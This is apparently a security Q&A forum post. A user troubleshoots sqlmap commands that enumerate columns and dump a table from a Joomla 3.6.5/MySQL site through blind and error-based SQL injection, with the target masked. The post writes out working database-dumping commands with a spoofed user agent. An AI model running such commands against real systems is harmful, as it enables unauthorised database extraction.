2

Using SQLMap in this way:

sqlmap -u "xxxxx" --dbms=MySql --dbs --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0" -D xxxxx -T "#__xxxxx" --columns

I am obtaining this warning:

[23:39:07] [WARNING] unable to retrieve column names for table '#__xxxxx' in database 'xxxxx' do you want to use common column existence check? [y/N/q] y

[23:39:19] [INFO] checking column existence using items from '/usr/share/sqlmap/txt/common-columns.txt'

In this way it carries out 5 columns.

Proceding with this command I perform a dump:

sqlmap -u "xxxxx" --dbms=MySql --dbs --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0" -D xxxxx -T "#__xxxxx" -C xxxxx1,xxxxx2,xxxxx3,xxxxx4,xxxxx5 --dump

Finally analyzing the result, it appears almost meaningless.

This application is based on Joomla 3.6.5 and MySQL.

Am I doing something wrong or can be it a problem that i can't solve?

  • Can you post the results? – Ricardo Reimao Feb 16 '17 at 11:19
  • what type of SQL Injection are you trying to exploit? – hmrojas.p Feb 17 '17 at 22:26
  • @hmrojas.p AND/OR time-based blind and error-based – Hoper Feb 23 '17 at 9:37

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.